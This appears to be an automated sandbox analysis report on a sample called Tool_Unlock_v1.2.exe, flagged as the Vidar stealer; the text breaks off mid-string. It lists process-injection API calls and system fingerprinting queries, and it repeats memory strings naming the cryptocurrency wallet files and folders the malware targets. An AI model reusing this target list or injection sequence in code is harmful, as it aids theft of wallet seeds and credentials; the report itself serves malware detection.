Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Code function: 0_2_0036A19E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0036A19E

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Memory written: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Process created: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe "C:\Users\user\Desktop\Tool_Unlock_v1.2.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: EnumSystemLocalesW,	0_2_0034D1BD
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00351287
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: EnumSystemLocalesW,	0_2_003514D8
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00351580
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: EnumSystemLocalesW,	0_2_003517D3
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: GetLocaleInfoW,	0_2_00351840
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: EnumSystemLocalesW,	0_2_00351915
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: GetLocaleInfoW,	0_2_00351960
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00351A07
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: GetLocaleInfoW,	0_2_00351B0D
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: GetLocaleInfoW,	0_2_0034CC15
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: EnumSystemLocalesW,	3_2_0034D1BD
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_00351287
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: EnumSystemLocalesW,	3_2_003514D8
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	3_2_00351580
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: EnumSystemLocalesW,	3_2_003517D3
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: GetLocaleInfoW,	3_2_00351840
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: EnumSystemLocalesW,	3_2_00351915
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: GetLocaleInfoW,	3_2_00351960
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_00351A07
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: GetLocaleInfoW,	3_2_00351B0D
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: GetLocaleInfoW,	3_2_0034CC15
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: GetLocaleInfoA,	3_2_004266EA

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Code function: 0_2_003400B4 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_003400B4

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Code function: 3_2_004262E0 GetUserNameA,

3_2_004262E0

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Code function: 3_2_00426450 GetTimeZoneInformation,

3_2_00426450

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.3.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: Tool_Unlock_v1.2.exe PID: 6224, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: mLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: mLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: mLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: mLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: mLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: mLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: mLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: mLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: mLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: mLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: mLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: mLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet 